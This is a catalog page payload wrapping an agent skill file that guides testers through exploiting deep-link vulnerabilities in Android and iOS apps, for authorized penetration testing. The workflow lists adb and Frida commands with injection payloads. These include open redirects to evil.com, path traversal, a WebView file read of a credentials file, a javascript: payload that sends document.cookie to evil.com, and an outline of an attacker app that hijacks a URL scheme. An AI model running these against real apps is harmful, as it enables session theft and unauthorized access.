[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AENGG8MH1VE9ZKX7KWMWVA":3,"skill-same:01M6AENGG8MH1VE9ZKX7KWMWVA":125},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":66,"commitSha":67,"skillDirectory":68,"forksCount":69,"repositoryHtmlUrl":70,"repositoryHomepageUrl":71,"ownerHtmlUrl":72,"ownerBlogUrl":73,"ownerDescription":74,"updatedAt":75,"install":76,"resources":89},"01M6AENGG8MH1VE9ZKX7KWMWVA","exploiting-deeplink-vulnerabilities",null,"Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"exploiting deeplink vulnerabilities","vulnerabilities","penetration-testing","deep-links","injection","t1059","t1078","t1055","exploitation","owasp","data","testing","owasp-mobile","ios","mobile-security","pr","cybersecurity","security","android","2026-11-10 10:12:30",false,"---\nname: exploiting-deeplink-vulnerabilities\ndescription: 'Tests and exploits deep link (URL scheme and App Link) vulnerabilities\n  in Android and iOS mobile applications to identify unauthorized access, data injection,\n  intent hijacking, and redirect manipulation. Use when assessing mobile app attack\n  surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based\n  navigation. Activates for requests involving deep link security testing, URL scheme\n  exploitation, mobile intent abuse, or link hijacking.\n\n  '\ndomain: cybersecurity\nsubdomain: mobile-security\nauthor: mahipal\ntags:\n- mobile-security\n- android\n- ios\n- deep-links\n- owasp-mobile\n- penetration-testing\nversion: 1.0.0\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- PR.AA-05\n- ID.RA-01\n- DE.CM-09\nmitre_attack:\n- T1059\n- T1056\n- T1036\n- T1078\n- T1055\n---\n# Exploiting Deep Link Vulnerabilities\n\n## When to Use\n\nUse this skill when:\n- Assessing mobile app deep link handling for injection and redirect vulnerabilities\n- Testing Android intent filters and iOS URL scheme handlers for unauthorized access\n- Evaluating App Links (Android) and Universal Links (iOS) verification\n- Testing for link hijacking via competing app registrations\n\n**Do not use** without authorization -- deep link exploitation can trigger unintended actions in target applications.\n\n## Prerequisites\n\n- Android device with ADB or iOS device with Objection\u002FFrida\n- APK decompiled with apktool or JADX for AndroidManifest.xml analysis\n- Knowledge of target app's registered URL schemes and intent filters\n- Drozer for Android intent testing\n- Burp Suite for intercepting deep link-triggered API calls\n\n## Workflow\n\n### Step 1: Enumerate Deep Link Entry Points\n\n**Android - Extract from AndroidManifest.xml:**\n```bash\n# Decompile APK\napktool d target.apk -o decompiled\u002F\n\n# Search for intent filters with deep link schemes\ngrep -A 10 \"android.intent.action.VIEW\" decompiled\u002FAndroidManifest.xml\n\n# Look for:\n# \u003Cdata android:scheme=\"myapp\" android:host=\"action\" \u002F>\n# \u003Cdata android:scheme=\"https\" android:host=\"target.com\" \u002F>\n```\n\n**iOS - Extract from Info.plist:**\n```bash\n# Extract URL schemes\nplutil -p Payload\u002FTargetApp.app\u002FInfo.plist | grep -A 5 \"CFBundleURLSchemes\"\n\n# Extract Universal Links (Associated Domains)\nplutil -p Payload\u002FTargetApp.app\u002FInfo.plist | grep -A 5 \"com.apple.developer.associated-domains\"\n# Check: applinks:target.com\n\n# Verify apple-app-site-association file\ncurl https:\u002F\u002Ftarget.com\u002F.well-known\u002Fapple-app-site-association\n```\n\n### Step 2: Test Deep Link Injection\n\n**Android via ADB:**\n```bash\n# Basic deep link invocation\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fdashboard?user_id=1337\" com.target.app\n\n# Test with injection payloads\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fprofile?redirect=https:\u002F\u002Fevil.com\" com.target.app\n\n# Test path traversal\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fnavigate?path=..\u002F..\u002F..\u002Fadmin\" com.target.app\n\n# Test JavaScript injection (if loaded in WebView)\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fwebview?url=javascript:alert(document.cookie)\" com.target.app\n\n# Test with extra intent parameters\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Ftransfer?amount=1000&to=attacker\" \\\n  --es extra_param \"injected_value\" com.target.app\n```\n\n**iOS via Safari or command line:**\n```bash\n# Trigger URL scheme from Safari\n# Navigate to: myapp:\u002F\u002Fdashboard?user_id=1337\n\n# Using Frida to invoke\nfrida -U -n TargetApp -e '\nObjC.classes.UIApplication.sharedApplication()\n  .openURL_(ObjC.classes.NSURL.URLWithString_(\"myapp:\u002F\u002Fprofile?redirect=https:\u002F\u002Fevil.com\"));\n'\n```\n\n### Step 3: Test Link Hijacking\n\n**Android:**\n```bash\n# Create a malicious app that registers the same URL scheme\n# AndroidManifest.xml of attacker app:\n# \u003Cintent-filter>\n#   \u003Caction android:name=\"android.intent.action.VIEW\" \u002F>\n#   \u003Ccategory android:name=\"android.intent.category.DEFAULT\" \u002F>\n#   \u003Ccategory android:name=\"android.intent.category.BROWSABLE\" \u002F>\n#   \u003Cdata android:scheme=\"myapp\" \u002F>\n# \u003C\u002Fintent-filter>\n\n# When both apps are installed, Android shows a chooser dialog\n# On older Android versions, the first-installed app may handle the link\n\n# Check App Links verification (prevents hijacking)\nadb shell pm get-app-links com.target.app\n# Status: verified = secure\n# Status: undefined = vulnerable to hijacking\n```\n\n### Step 4: Test WebView Deep Link Loading\n\n```bash\n# If deep links load URLs in WebView, test for:\n# 1. Open redirect\nadb shell am start -d \"myapp:\u002F\u002Fopen?url=https:\u002F\u002Fevil.com\" com.target.app\n\n# 2. File access\nadb shell am start -d \"myapp:\u002F\u002Fopen?url=file:\u002F\u002F\u002Fdata\u002Fdata\u002Fcom.target.app\u002Fshared_prefs\u002Fcreds.xml\"\n\n# 3. JavaScript execution in WebView\nadb shell am start -d \"myapp:\u002F\u002Fopen?url=javascript:fetch('https:\u002F\u002Fevil.com\u002Fsteal?cookie='+document.cookie)\"\n```\n\n### Step 5: Assess Parameter Validation\n\nTest each deep link parameter for:\n- SQL injection in parameters that query local databases\n- Path traversal in file path parameters\n- SSRF in URL parameters that trigger server requests\n- Authentication bypass via user_id or session parameters\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Custom URL Scheme** | App-registered protocol (myapp:\u002F\u002F) that routes to specific app handlers when invoked |\n| **App Links (Android)** | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app |\n| **Universal Links (iOS)** | Apple's verified deep linking using apple-app-site-association JSON file on the web domain |\n| **Intent Hijacking** | Malicious app intercepting deep links by registering the same URL scheme or intent filter |\n| **WebView Bridge** | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |\n\n## Tools & Systems\n\n- **ADB**: Android command-line tool for invoking deep links via `am start`\n- **Drozer**: Android security framework for testing intent-based attack surface\n- **apktool**: APK decompiler for extracting AndroidManifest.xml and intent filter definitions\n- **Frida**: Dynamic instrumentation for hooking URL scheme handlers at runtime\n- **Burp Suite**: Proxy for intercepting API calls triggered by deep link navigation\n\n## Common Pitfalls\n\n- **App Links verification**: Android App Links with verified domain associations are resistant to hijacking. Check `assetlinks.json` at `https:\u002F\u002Fdomain\u002F.well-known\u002Fassetlinks.json`.\n- **Fragment handling**: Some apps process URL fragments (#) differently than query parameters (?). Test both.\n- **Encoding bypass**: URL-encode payloads to bypass client-side input filtering in deep link handlers.\n- **Multi-step deep links**: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.\n","# Exploiting Deep Link Vulnerabilities\n\n## When to Use\n\nUse this skill when:\n- Assessing mobile app deep link handling for injection and redirect vulnerabilities\n- Testing Android intent filters and iOS URL scheme handlers for unauthorized access\n- Evaluating App Links (Android) and Universal Links (iOS) verification\n- Testing for link hijacking via competing app registrations\n\n**Do not use** without authorization -- deep link exploitation can trigger unintended actions in target applications.\n\n## Prerequisites\n\n- Android device with ADB or iOS device with Objection\u002FFrida\n- APK decompiled with apktool or JADX for AndroidManifest.xml analysis\n- Knowledge of target app's registered URL schemes and intent filters\n- Drozer for Android intent testing\n- Burp Suite for intercepting deep link-triggered API calls\n\n## Workflow\n\n### Step 1: Enumerate Deep Link Entry Points\n\n**Android - Extract from AndroidManifest.xml:**\n```bash\n# Decompile APK\napktool d target.apk -o decompiled\u002F\n\n# Search for intent filters with deep link schemes\ngrep -A 10 \"android.intent.action.VIEW\" decompiled\u002FAndroidManifest.xml\n\n# Look for:\n# \u003Cdata android:scheme=\"myapp\" android:host=\"action\" \u002F>\n# \u003Cdata android:scheme=\"https\" android:host=\"target.com\" \u002F>\n```\n\n**iOS - Extract from Info.plist:**\n```bash\n# Extract URL schemes\nplutil -p Payload\u002FTargetApp.app\u002FInfo.plist | grep -A 5 \"CFBundleURLSchemes\"\n\n# Extract Universal Links (Associated Domains)\nplutil -p Payload\u002FTargetApp.app\u002FInfo.plist | grep -A 5 \"com.apple.developer.associated-domains\"\n# Check: applinks:target.com\n\n# Verify apple-app-site-association file\ncurl https:\u002F\u002Ftarget.com\u002F.well-known\u002Fapple-app-site-association\n```\n\n### Step 2: Test Deep Link Injection\n\n**Android via ADB:**\n```bash\n# Basic deep link invocation\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fdashboard?user_id=1337\" com.target.app\n\n# Test with injection payloads\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fprofile?redirect=https:\u002F\u002Fevil.com\" com.target.app\n\n# Test path traversal\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fnavigate?path=..\u002F..\u002F..\u002Fadmin\" com.target.app\n\n# Test JavaScript injection (if loaded in WebView)\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Fwebview?url=javascript:alert(document.cookie)\" com.target.app\n\n# Test with extra intent parameters\nadb shell am start -a android.intent.action.VIEW \\\n  -d \"myapp:\u002F\u002Ftransfer?amount=1000&to=attacker\" \\\n  --es extra_param \"injected_value\" com.target.app\n```\n\n**iOS via Safari or command line:**\n```bash\n# Trigger URL scheme from Safari\n# Navigate to: myapp:\u002F\u002Fdashboard?user_id=1337\n\n# Using Frida to invoke\nfrida -U -n TargetApp -e '\nObjC.classes.UIApplication.sharedApplication()\n  .openURL_(ObjC.classes.NSURL.URLWithString_(\"myapp:\u002F\u002Fprofile?redirect=https:\u002F\u002Fevil.com\"));\n'\n```\n\n### Step 3: Test Link Hijacking\n\n**Android:**\n```bash\n# Create a malicious app that registers the same URL scheme\n# AndroidManifest.xml of attacker app:\n# \u003Cintent-filter>\n#   \u003Caction android:name=\"android.intent.action.VIEW\" \u002F>\n#   \u003Ccategory android:name=\"android.intent.category.DEFAULT\" \u002F>\n#   \u003Ccategory android:name=\"android.intent.category.BROWSABLE\" \u002F>\n#   \u003Cdata android:scheme=\"myapp\" \u002F>\n# \u003C\u002Fintent-filter>\n\n# When both apps are installed, Android shows a chooser dialog\n# On older Android versions, the first-installed app may handle the link\n\n# Check App Links verification (prevents hijacking)\nadb shell pm get-app-links com.target.app\n# Status: verified = secure\n# Status: undefined = vulnerable to hijacking\n```\n\n### Step 4: Test WebView Deep Link Loading\n\n```bash\n# If deep links load URLs in WebView, test for:\n# 1. Open redirect\nadb shell am start -d \"myapp:\u002F\u002Fopen?url=https:\u002F\u002Fevil.com\" com.target.app\n\n# 2. File access\nadb shell am start -d \"myapp:\u002F\u002Fopen?url=file:\u002F\u002F\u002Fdata\u002Fdata\u002Fcom.target.app\u002Fshared_prefs\u002Fcreds.xml\"\n\n# 3. JavaScript execution in WebView\nadb shell am start -d \"myapp:\u002F\u002Fopen?url=javascript:fetch('https:\u002F\u002Fevil.com\u002Fsteal?cookie='+document.cookie)\"\n```\n\n### Step 5: Assess Parameter Validation\n\nTest each deep link parameter for:\n- SQL injection in parameters that query local databases\n- Path traversal in file path parameters\n- SSRF in URL parameters that trigger server requests\n- Authentication bypass via user_id or session parameters\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Custom URL Scheme** | App-registered protocol (myapp:\u002F\u002F) that routes to specific app handlers when invoked |\n| **App Links (Android)** | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app |\n| **Universal Links (iOS)** | Apple's verified deep linking using apple-app-site-association JSON file on the web domain |\n| **Intent Hijacking** | Malicious app intercepting deep links by registering the same URL scheme or intent filter |\n| **WebView Bridge** | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |\n\n## Tools & Systems\n\n- **ADB**: Android command-line tool for invoking deep links via `am start`\n- **Drozer**: Android security framework for testing intent-based attack surface\n- **apktool**: APK decompiler for extracting AndroidManifest.xml and intent filter definitions\n- **Frida**: Dynamic instrumentation for hooking URL scheme handlers at runtime\n- **Burp Suite**: Proxy for intercepting API calls triggered by deep link navigation\n\n## Common Pitfalls\n\n- **App Links verification**: Android App Links with verified domain associations are resistant to hijacking. Check `assetlinks.json` at `https:\u002F\u002Fdomain\u002F.well-known\u002Fassetlinks.json`.\n- **Fragment handling**: Some apps process URL fragments (#) differently than query parameters (?). Test both.\n- **Encoding bypass**: URL-encode payloads to bypass client-side input filtering in deep link handlers.\n- **Multi-step deep links**: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.\n",{"name":5,"tags":51,"author":52,"domain":43,"license":15,"version":53,"nist_csf":54,"subdomain":41,"description":59,"mitre_attack":60},[41,45,40,30,39,29],"mahipal","1.0.0",[55,56,57,58],"PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09","Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.\n",[61,62,63,64,65],"T1059","T1056","T1036","T1078","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-deeplink-vulnerabilities",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":77,"prompt":87,"zipAvailable":88},[78,81,84],{"tool":79,"command":80},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-deeplink-vulnerabilities",{"tool":82,"command":83},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-deeplink-vulnerabilities",{"tool":85,"command":86},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-deeplink-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002FSKILL.md",true,[90,96,101,107,111,115,121],{"path":91,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"assets\u002Ftemplate.md","ASSET","资产文件",692,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002Fassets\u002Ftemplate.md",{"path":97,"resourceType":97,"resourceTypeDesc":98,"sizeBytes":99,"sourceHtmlUrl":100},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002FLICENSE",{"path":102,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":105,"sourceHtmlUrl":106},"references\u002Fapi-reference.md","REFERENCE","参考文档",2526,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":108,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":109,"sourceHtmlUrl":110},"references\u002Fstandards.md",978,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002Freferences\u002Fstandards.md",{"path":112,"resourceType":103,"resourceTypeDesc":104,"sizeBytes":113,"sourceHtmlUrl":114},"references\u002Fworkflows.md",1344,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002Freferences\u002Fworkflows.md",{"path":116,"resourceType":117,"resourceTypeDesc":118,"sizeBytes":119,"sourceHtmlUrl":120},"scripts\u002Fagent.py","SCRIPT","脚本",4936,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002Fscripts\u002Fagent.py",{"path":122,"resourceType":117,"resourceTypeDesc":118,"sizeBytes":123,"sourceHtmlUrl":124},"scripts\u002Fprocess.py",6283,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-deeplink-vulnerabilities\u002Fscripts\u002Fprocess.py",[126,151,175,199,224,250],{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":133,"publishedAt":46},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[132],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[134,135,136,137,44,43,138,139,42,140,141,142,143,144,145,146,147,148,149,150],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":152,"name":153,"nameZh":6,"description":154,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":155,"categories":156,"keywords":158,"publishedAt":46},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[157],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[159,147,160,161,44,162,43,42,163,164,165,166,167,168,169,170,171,172,173,174],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":183,"publishedAt":46},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[181,182],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[169,184,185,186,38,43,187,188,163,189,190,191,192,193,194,33,195,196,197,198],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":203,"categories":204,"keywords":206,"publishedAt":46},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[205],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[207,208,209,43,210,211,212,213,214,215,216,37,217,218,219,220,166,221,222,223],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":225,"name":226,"nameZh":6,"description":227,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":228,"categories":229,"keywords":231,"publishedAt":46},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[230],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,232,233,43,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":251,"name":252,"nameZh":6,"description":253,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":254,"categories":255,"keywords":257,"publishedAt":46},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[256],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[44,258,43,259,260,261,262,263,264,265,266,33,267,195,268,269,270,271,272,273],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]